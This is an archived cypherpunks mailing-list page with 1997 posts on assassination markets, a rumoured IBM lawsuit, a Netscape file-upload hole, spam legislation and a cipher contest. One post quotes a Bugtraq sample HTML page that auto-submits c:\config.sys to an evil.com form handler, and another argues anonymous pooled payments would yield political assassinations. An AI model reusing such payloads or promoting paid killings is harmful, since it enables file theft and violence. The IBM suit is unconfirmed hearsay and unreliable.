December 2003 - cypherpunks-legacy

Re: FCPUNX:Untraceable Contract Killings
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 05:39 PM 6/10/97 -0700, Wei Dai wrote: > I think the novelty of Bell's scheme is that it allows assassination > payments to be pooled from a large number of anonymous payers without > explicit coordination (i.e., the payers do not have to communicate with > each other to work out a contract, etc.). For killing a neighbor it > doesn't improve upon the simple untraceable contract, but it can make a > big difference when the target has many enemies (Bell gave politicians as > an example). > > Now in light of the fact that when the target has many enemies the > assassination becomes a non-excludable public good, it is almost certain > that the scheme cannot actually work in practice. All of the potential > payers would rather free-ride and let others pay, so the public good ends > up not being "produced". This not correct: Public goods are underproduced, but they are produced. Thus Bell's scheme would lead to less than the economically optimal number of political assassinations, but this is still a great deal more than zero, and still likely to have substantial effect on political behavior. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

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IBM sues critics?
by Secret Squirrel 17 Dec '03

17 Dec '03

According to a usually reliable contact in a position to know, IBM Friday filed a liable suit against the 11 authors of the study titled "The risks of key recovery, key escrow and trusted third-party encryption" plus their employers and the Centere for Democracy and Technology, which sponsored the report. According to my contact, IBM feels that the report directly targets their own key recovery system, and falsely implies that it isn't reliable. They are asking for unspecified damages. This means IBM is suing such people as Matt Blaze, Whitfield Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT over the question of whether its key recovery system really works. Considering that truth is a defense and the details of the IBM system could be part of the defense's evidence, it should be an interesting trial to say the least. I have not seen the actual court papers and really have no idea whether my contact is totally accurate. Can anyone confirm the details? I just read the study in question, and it sounds like IBM is totally out of line and trying to intimidate its critics with threats of expensive if frivolous lawsuits. On the other hand, some of the parties named in the suit (Microsoft, AT&T) have their own armies of lawyers to defend themselves, so it's hard to be sure of what's going on here. I think the report is still at www.crypto.com or www.cdt.org.

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Re: IBM sues critics?
by John Young 17 Dec '03

17 Dec '03

Secret Squirrel wrote: >According to a usually reliable contact in a position to know, IBM Friday >filed a liable suit against the 11 authors of the study >titled "The risks of key recovery, key escrow and trusted third-party >encryption" plus their employers and the Centere for Democracy and >Technology, which sponsored the report. According to my contact, IBM >feels that the report directly targets their own key recovery system, >and falsely implies that it isn't reliable. They are asking for >unspecified damages. If this report is true it's worth taking a look at IBM's policy paper "The need for a global cryptographic policy framework" to understand why the key study report is such a threat to Blue's global market strategy: http://www.ibm.com/security/html/pp_global.html IBM's economic incentive to attack the report is substantial, not least because it hopes to garner the lion's share of global GAK -- not that that's news.

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Netscape Exploit
by Lucky Green 17 Dec '03

17 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

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e$: Skins vs. Shirts
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

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Re: Impact of Netscape kernel hole
by geeman＠best.com 17 Dec '03

17 Dec '03

At 10:28 AM 6/14/97 -0400, Adam Shostack wrote: > > >| >Tim's post (although refuted by Marc) raises some serious issues since I >| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > > Are FAT file lists stored as files? not exactly. you cannot just open and read. you must jump hoops; but does the nscp hole allow execution of arbitrary code? that would be much worse .... > > On a Unix box, /. refers to the file containing directory >entries, the list of files in the directory. If there is an analogous >file on a dos box, you can explore. so, no: not unless you can write your own foreign code and run it on the victim pc. (Does the bug work on Unix? I've >heard it only works if java or livescript are turned on, so it hasn't >worried me enough to investigate.) > >Adam > > > >-- >"It is seldom that liberty of any kind is lost all at once." > -Hume > > > >

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Re: Rotenberg as the Uber Enemy
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Robert A. Costner wrote: > At 10:13 PM 5/30/97 -0700, Tim May wrote: > >The latest quote is from Marc Rotenberg, on a CNN piece on spam and > >anti-spam legislation, saying that what the legislators in Congress really > >need to look into is how the spammers develop their data bases..... > ... > >Incredible. Does he propose investigations of private data gathering? > > I'd agree here. Rather than have Congress blindly pass a law, some > investigation of the matter should be done first. While I am not supporting a > law, any such law should have three parts: I don't support a new Holocaust, but if we are going to build gas chambers for killing Jews, they should be... When you are on a car lot "just looking" at the new models, the sales person quickly gets you deciding on the color and other features that you would want if you *did* purchase a car. You end up driving home in a car you can't afford and with a vague feeling that the sales person might be the one who is responsible for all that legislation that keeps getting passed for your benefit. > For good or for bad, the current movement in lawmaking is to plug these > loopholes that exist for email. Judging from the governments past success in plugging the "loopholes" that allow people to exercise their right to Free Speech, I am certain they will be able to "save" us from the incredible danger that spam represents to our well-being. > >Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. > > Then you miss the point. For all practical purposes, the spam industry does > not exist in the US. > The current > spam bills are meant to address the actions of about five people in the entire > United States. If the small number of people affected is the basis for justifying the action taken on the issue, then we could just kill them. If you are going to rob a bank, take *all* of the money. If you are going to rape someone, then put it *all* the way in. {"Your honour, I would like to point out that my client only raped five women, and he didn't even stick his schlong all the way in. That hardly puts him in the same category as a *real* rapist.} > The manner in which the information is collected is invasive. People feel > their privacy is being violated. The right to be left alone is a fundamental > right. Somebody forgot to tell the government. > -- Robert Costner Phone: (770) 512-8746 > Electronic Frontiers Georgia mailto:pooh@efga.org If you are in any way profiting from the EFG, whether monetarily or by increased reputation capital, etc., then your post is an Unsolicited Commercial Email. If not, then it is spam. I can say this with absolute authority, because I am the person who decides which of my mail is spam and which is not. Encryption businesses sometimes post announcements of new releases and the like on the cypherpunks list and I don't usually consider it to be spam. DataETR posted an announcement on the list and then complained mightily when cypherpunks asked serious questions about their product. In my mind, that made their announcement just another commercial product spam. Now that they have made an effort to actually participate in the list by "listening" to the list members I no longer consider them to be just another commercial spammer. A few list members who have a product or cause to push do so without adding any real input to the list. In my mind, their posts are usually as interesting as reading about how someone is making "BIG $$$" by spamming me. Tom Weinstein, of Netscape, actually "participates" in the list by discussing the pro's and con's of his product and others, and being generally realistic about his company's product. If his posts were nothing more than claims about how Netscape would get those nasty stains out of my shorts, then I would consider them spam. Jim Bell beat his "Assassination Politics" drum to the point where he beat it to death and his posts became unwanted spam to some on the list. I read privacy related announcements and the like from organizations which are theoretically in alliance with the general aims of the list and consider many of them to be useless spam. "XXXX Organization Fighting For Legislation That Only Fucks Over Five People!" "YYYY Organization Supports Bill That Lets Government Cut Off One Of Each Citizen's Fingers, Instead Of Two!" As far as I am concerned, any organization that is "fighting" for "my" rights by getting involved in political lobbying/activism, etc., holds no interest for me as a cypherpunk. There is not a mother's son among them who isn't soon knee-deep in self-serving "deals" and "compromise." I don't participate in this list to read self-serving missives which attempt to justify career activists' participation in the government's dark comedy. If Bill Clinton posted his announcements in regard to government crypto policy on the cypherpunks list, I would consider it to be spam. If he sincerely solicited my opinion on the policies, then he would be a list participant. There are some list members whose posts are so knee-jerk and unthinking that they amount to nothing more than an unsolicited commercial advertisement for their precious self-image. Please! Don't fight for legislation to protect me from their posts. I would be tempted to support legislation requiring certain list members to put "BORING AND STUPID" in the Subject header, but then I would probably be forced to put "CYNICAL AND PESSIMISTIC" in my own Subject headers. My failure to include a donation to your organization with this post is not an oversight. C&P

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Re: There's something wrong when I'm a felon under an increasing number of
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Kent Crispin wrote: > > > > A major nail in the coffin of Justice for any accused in the U.S. > > > was when the justice system promoted the concept of guilt by virtue > > > of "circumstantial" evidence to the point where people can now be > > > convicted as a result of speculation rather than evidence. Prosecutors > > > now seem to need only to convince the sheeple that it was "possible" > > > for the defendant to have commited the crime and that circumstantial > > > evidence points *only* to the accused. > I don't understand the animus against circumstantial evidence, > frankly. Some circumstantial evidence is extremely good evidence. The problem is the addition of a mountain of bullshit which is presented as "evidence" in most prosecutions in order to throw enough crap at the defendant to ensure that some of it will stick. For example, do we really need to have a forensic expert tell us that a paramilitaristic individual (McVeigh) has traces of things such as gunpowder, etc., in his clothing? This has about as much meaning as producing "evidence" that McVeigh took a crap while he was in custody to "prove" that he ate the food delivered to the motel room in question. Do we need a series of people to bend over backwards to produce evidence that a telephone calling card PIN number that could have been used by anybody *might* have been used to place certain calls? Perhaps the above examples couldn't be used to support *real* evidence of McVeigh's guilt, but there seems to be precious little of that. In contrast, there is even stronger evidence that precludes McVeigh having been driving the truck used in the bombing. And what kind of "evidence" is a mountain of horrific examples of dead bodies, etc? It is "evidence" that "somebody has to pay" for the bombing. Would McVeigh be "innocent" if the prosecution showed only *one* picture of dead bodies? What we see in the justice system today is reflective of the same mentality that pervades legal and social issues surrounding the development, implementation and use of technologies which relate to our privacy and freedom. The government "encryption prosecutors" use the same techniques as criminal prosecutors to plead their case. They smear you and I with the same brush used on drug dealers and child pornographers so that use of cryptography is now "circumstantial evidence" of our being guilty of "something." We are being prosecuted for use of encryption on the basis of circumstantial evidence that someone, somewhere is using cryptography and commiting crimes. I don't have any evidence that places Kent Crispin at the scene of the OKC bombing, but we do know that use of PGP was involved in the crime. Combined with Michael Fortier's testimony about Kent's involvement, I think we can get a guilty verdict. As I said previously, the problem with circumstantial evidence is that it is increasingly being combined with emotional rhetoric to convict people who "could have" commited a certain crime, instead of those "proven" to have commited the crime. I have no doubt that the government could replicate much of the evidence against Jim Bell in a similar case against more than a few cypherpunks, as well as producing even stronger evidence of a similar nature in a full investigation of us. Anonymous and Nobody would be in big, big trouble. In McVeigh's case, I wonder how many others the government could find similar or stronger evidence against in the OKC crime? Regardless of the answer to that question, it is McVeigh who is the one prosecutors are pointing at when they put up yet another picture of dead bodies and say that "somebody has to pay" for the crime. TruthMonger {Who has been proven to be Kent Crispin, by a plethora of circumstantial evidence.}

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Decryption Contest Details (Updated)
by DataET Research 17 Dec '03

17 Dec '03

Host: DataET Research (http://www.dataet.com) Contest expiration date: July 1st, 1997 Encrypted file location: http://www.dataet.com/public/source/vsacmv20/crackit.dat Applied encryption algorithm: VSA2048 Encryption algorithm source code: http://www.dataet.com/public/source/vsacmv20/ Applied key size: 120 bits (15 bytes) Key byte value range: 0 to 255 (decimal), 00 to FF (hexadecimal) Encrypted (secured) file size: 50,000 bytes (binary, Intel) Decrypted (unsecured) file size: 50,000 bytes (binary, Intel) Key and message post location: cypherpunks(a)toad.com Contact: info(a)dataet.com Limitations: U.S. residents only Prize: Two free basic Web site packages and $200.00 U.S.

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Censored pages
by root 17 Dec '03

17 Dec '03

Message to prolife alliance, CCd to Cypherpunks list: I noticed an article in .net a few days ago detailing how the prolife alliance, a UK anti-abortion group, had been required to remove images of aborted foetuses <sp?> from their web site. Clearly this is another incident of jackbooted motherfuckers censoring images that happen to contradict their particular brand of thuggery. I am sending this message to the prolife alliance to ask them to send a .zip or .tar`d file of their pages to me along with the censored images, I am also of course CCing this to cypherpunks to see if anyone out there not in the UK is also interested in mirroring these pages, if so send me email, or send direct to prolife(a)enterprise.net, who will, hopefully, provide us with a copy of these pages. Note please cypherpunks that if there is any thread I do not wish to start it is a pro/anti abortion thread, therefore, I am making no judgements whatsoever, merely suggesting action to prevent censorship... Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

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